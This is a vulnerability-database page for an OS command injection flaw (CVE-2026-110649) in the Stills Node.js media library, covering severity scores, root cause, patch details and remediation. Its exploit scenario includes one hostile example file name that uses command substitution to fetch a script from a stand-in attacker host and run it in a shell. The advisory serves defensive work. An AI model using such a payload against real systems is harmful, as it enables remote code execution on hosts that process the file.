Skip to main content

Stills CVE-2026-110649

| EUVDEUVD-2026-101277 CRITICAL
OS Command Injection (CWE-78)
2026-10-14 VulnCheck GHSA-53p6-95m7-9c4h
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply media file with crafted name
  2. Delivery
    Application passes path to Stills
  3. Exploit
    Stills builds quoted shell command
  4. Execution
    ffmpeg/ffprobe/convert executes $(...)
  5. Impact
    Arbitrary commands run as Node.js process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires that the application embedding Stills pass an attacker-influenced media file name or path into the library's processing routines (e.g. lib/content/video.js and lib/content/utils.js, which shelled out to ffmpeg/ffprobe), and that ffmpeg, ffprobe, gifsicle, or convert be invoked on that path. The exact trigger is a filename containing shell command-substitution syntax ($(...) or backticks); double-quoting in the pre-25.24.2 code did not neutralize it. Limiting factors: exploitation is only remote/unauthenticated if the consuming application exposes filename control to untrusted users - in deployments where file names are operator- or system-generated, an external attacker cannot reach the sink, so realistic risk is substantially lower than the raw score suggests.

Impact

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H = 9.3) describes an unauthenticated, low-complexity attack yielding full command execution, and the source-code evidence from the vendor's own patch (PRs #29/#30) confirms the root cause: filenames were interpolated into double-quoted shell strings passed to ffmpeg/ffprobe/gifsicle/convert, where $(...) and backticks still trigger command substitution. However, the 'network/unauthenticated' framing is optimistic for a Node.js media-processing LIBRARY: real exploitability hinges entirely on whether the CONSUMING application lets an attacker control media file names/paths - a signal the CVE data does not establish. No EPSS score, no CISA KEV listing, and no public PoC are present in the input, so this is a high-CVSS issue with no evidence of real-world exploitation at time of analysis. Net: a genuine, easily-triggered RCE primitive where the file path is attacker-influenced, but the raw 9.3 overstates risk for the common case where filenames are operator- or application-controlled rather than externally supplied.

Exploit ScenarioDerived

An application built on the Stills library accepts or derives media file names from untrusted input and asks Stills to process them. An attacker supplies a file named something like $(curl attacker.com/x|sh).mp4; when Stills shells out to ffprobe/ffmpeg to read duration or extract frames, the embedded command substitution executes with the Node.js process privileges. No public exploit code was identified in the provided data, but the vulnerable shell-interpolation pattern is visible in the referenced pre-patch source.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 2.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 14, 2026

OS command injection in Stills (shahkashani/stills), a Node.js media-processing library, before version 25.24.2 allows crafted media file names containing shell command-substitution syntax such as $(...) or backticks to be executed as operating system commands with the privileges of the Node.js process. The flaw is reachable whenever the library shells out to ffmpeg, ffprobe, gifsicle, or convert on an attacker-influenced path, and the CVSS 4.0 vector (9.3) describes an unauthenticated, low-complexity network attack (PR:N/UI:N) yielding high confidentiality, integrity, and availability impact; our independent assessment scores it CVSS:3.1 8.8/9.8-class (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) but cautions that real-world risk is materially lower in deployments where media file names are operator- or system-generated rather than user-supplied. No public exploit code or confirmed active exploitation was identified at time of analysis, and a vendor patch (25.24.2, via PRs #29/#30 and associated commits) is available.

RemediationAI

Upgrade to Stills 25.24.2 or later, which is the vendor-released fix; the patch is delivered through pull requests https://github.com/shahkashani/stills/pull/29 and https://github.com/shahkashani/stills/pull/30 (commits 5694b3b0dcd2da342f4f0497244129d4c9eb73bc and 51ba953983ba99915331607bf8530e6089952253) and replaces shell-string interpolation with shell-free execFileSync argument arrays so filenames are never evaluated as shell syntax. If immediate upgrade is not possible, the most effective compensating control is to prevent untrusted control of media filenames: have the consuming application rename or assign its own generated identifiers to uploaded media before passing paths into Stills, since double-quoting alone does not neutralize $(...) or backticks - the trade-off is added storage/renaming logic and loss of original filename metadata. As a secondary layer, migrate the vulnerable call sites to child_process.execFile/execFileSync locally and disable or sandbox any use of the shelljs-based exec path; containers or seccomp/AppArmor confinement that deny shell spawns and limit outbound network access reduce post-exploitation impact but do not remove the injection sink and may break legitimate ffmpeg/gifsicle invocation patterns. Consult the VulnCheck advisory (https://www.vulncheck.com/advisories/stills-before-25.24.2-os-command-injection-via-media-file-names) for vendor guidance.

Affected VersionsENISA

stills 0 <25.24.2

Affected Packages

euvd stills fix: 25.24.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), arising from Node.js code that built shell command strings by interpolating a media file path directly into a double-quoted argument, e.g. ffprobe -v error -show_entries format=duration ... "${file}" in lib/content/utils.js and ffmpeg -i "${input}" -ss ... -c copy -y "${file}" in lib/content/video.js, executed through a shell (shelljs / child_process exec). Double quotes prevent word-splitting but do not suppress command substitution, so a filename containing $(...) or ... is evaluated by the shell before ffmpeg/ffprobe/gifsicle/convert ever sees it. The affected package is identified by CPE cpe:2.3:a:shahkashani:stills:*:*:*:*:*:*:*:* (Stills, all versions prior to 25.24.2). The vendor fix in PRs #29/#30 replaces shell-based invocation with argument-array invocation using child_process.execFileSync (a shell-free API where each argument is passed literally), covering lib/content/utils.js, lib/content/video.js, lib/utils/exec-cmd.js, and lib/utils/get-image-info.js, so a filename can no longer be interpreted as shell syntax. Because the sink lives inside a library rather than an end-user application, exploitability is contingent on the consuming application exposing media filename control to untrusted input.

Know when Stills gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Command execution with full C/I/A at Node.js process privilege and S:U; AV:N/PR:N retained per input but genuinely depends on the host app exposing attacker-controlled filenames.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Stills before 25.24.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted media file paths. Attackers can name a media file with $(...) or backticks to execute operating system commands with Node.js process privileges when ffmpeg, ffprobe, gifsicle, or convert runs.

Executive ViewAI

Why It Matters

A critical command-injection flaw in the Stills media-processing library (shahkashani/stills) lets an unauthenticated attacker execute operating-system commands with the full privileges of the Node.js process that loads it, affecting any service that hands attacker-influenced media file names to the library. For leadership, the concern is not a media glitch but potential full compromise of the application host - data theft, tampering, and outage - wherever this library sits in a customer-facing or internet-reachable path. Exposure is materially lower for teams whose media file names are internally generated rather than supplied by users, so prioritization should follow that distinction.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
2.5%
Top 15% exploitable
Prevalence
Rare
obscure individual-author npm/GitHub media library, tiny footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 2.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy